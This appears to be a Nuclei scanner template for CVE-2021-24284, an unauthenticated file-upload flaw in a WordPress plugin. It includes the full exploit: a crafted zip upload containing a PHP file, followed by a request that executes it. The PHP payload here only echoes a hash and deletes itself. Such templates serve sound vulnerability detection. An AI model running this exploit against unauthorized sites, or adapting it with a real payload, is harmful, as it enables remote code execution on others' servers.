80 lines
3.7 KiB
YAML
80 lines
3.7 KiB
YAML
id: CVE-2021-24284
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info:
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name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
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author: lamscun,pussycat0x,pdteam
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severity: critical
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description: |
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WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
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impact: |
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Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website.
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remediation: |
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Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
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- https://github.com/advisories/GHSA-wqvg-8q49-hjc7
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- https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
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- https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
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- https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24284
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-24284
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cwe-id: CWE-434
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epss-score: 0.96712
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epss-percentile: 0.99652
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cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: kaswara_project
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product: kaswara
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framework: wordpress
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tags: cve2021,cve,intrusive,unauth,fileupload,wpscan,wordpress,wp-plugin,rce,wp,kaswara_project
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variables:
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zip_file: "{{to_lower(rand_text_alpha(6))}}"
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php_file: "{{to_lower(rand_text_alpha(2))}}.php"
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string: "CVE-2021-24284"
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php_cmd: "<?php echo md5('{{string}}');unlink(__FILE__);?>"
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708
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--------------------------d3be34324392a708
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Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
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Content-Type: application/octet-stream
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{{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
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--------------------------d3be34324392a708
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Content-Disposition: form-data; name="fontsetname"
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{{zip_file}}
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--------------------------d3be34324392a708
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Content-Disposition: form-data; name="action"
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uploadFontIcon
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--------------------------d3be34324392a708--
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- |
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GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_1
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words:
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- "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"
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- type: word
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part: body_2
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words:
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- '{{md5(string)}}'
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- type: status
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status:
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- 200
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# digest: 4b0a004830460221009371b523b1669469a857beaef1aa7cca089b04c5d3732af0838ecace130ab63a022100c53721068f94d8eaf4bf7473ffe743182b72091aef3768ae7efb13d76f3e5080:922c64590222798bb761d5b6d8e72950 |